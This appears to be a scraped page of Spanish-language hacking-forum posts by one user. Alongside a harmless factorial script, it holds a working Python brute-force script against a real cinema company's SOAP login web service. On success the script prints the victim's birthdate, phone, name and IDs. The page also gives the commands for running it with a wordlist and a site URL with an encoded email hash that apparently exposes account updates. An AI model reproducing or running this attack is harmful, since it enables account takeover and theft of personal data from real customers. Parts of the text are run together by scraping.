Ojalá lo fuera conocido antes, aunque mejor tarde que nunca. Muchas gracias por el aporte @tt0ne'
~ DtxdF
~ DtxdF

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menúping -a a.b.c.dhost a.b.c.dYou are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginDel mismo modo el "sacar" (calcular) el algoritmo con que se establece la secuencia numérica si procede. @ANTRAX tiene una anécdota sobre una apuesta en un bar con unos amigos, en que uno de ellos ya sabía calcular el algoritmo de los modelos de router que había en el local.
#!/usr/local/bin/python3.8
def factorial(n):
r = abs(n)
if (r == 0):
return 1
result = factorial(r-1)*r
if (n < 0):
result = result * -1
return result
if __name__ == "__main__":
for n in range(0, 9):
print(n, factorial(n))
CitarPor qué lo puso en Noticias si esto es Hacking puro?



#!/usr/local/bin/python3.7
import zeep
WS_URL = "http://ws.cinesunidos.com/blackberry.asmx?wsdl"
def get_instance():
return zeep.Client(
WS_URL
)
def ws_login(username, password):
ws = get_instance()
return ws.service.Login(
username, password
)
def main():
import argparse
parser = argparse.ArgumentParser(description="Brute-force attack to ws.cinesunidos.com/blackberry.asmx")
parser.add_argument("-u", "--username", help="The username", required=True)
parser.add_argument("-w", "--wordlist", help="The wordlist to use", required=True, type=argparse.FileType("r", encoding="utf-8"))
parser.add_argument("-i", "--show-user-information", help="Show user information", action="store_true")
args = parser.parse_args()
username = args.username
wordlist = args.wordlist
show_info = args.show_user_information
for password in wordlist:
# Remove new line
password = password.strip()
response = ws_login(username, password)
if (response["Status"]):
print(f"[+] Password found: {password}")
if (show_info):
user_info = response.User
print("User information:")
print("################")
print("Birthdate:", f"{user_info.Birthdate}")
print("Sex:", f"{user_info.Sex}")
print("Login:", f"{user_info.Login}")
print("Name:", f"{user_info.Name}")
print("LastName:", f"{user_info.LastName}")
print("Phone:", f"{user_info.Phone}")
print("SecureId:", f"{user_info.SecureId}")
print("ExternalId:", f"{user_info.ExternalId}")
break
else:
print(f"[-] The '{password}' is incorrect...")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
passpip install zeeppython3.7 bruteforce.py -u [email protected] -w wordlist.lst -icrunch 1 5 12345abc > wordlist.lst





https://www.cinesunidos.com/Mi_Cuenta/UpdateUser?hash=a2xlcnh0dXpAc2hhcmtsYXNlcnMuY29t


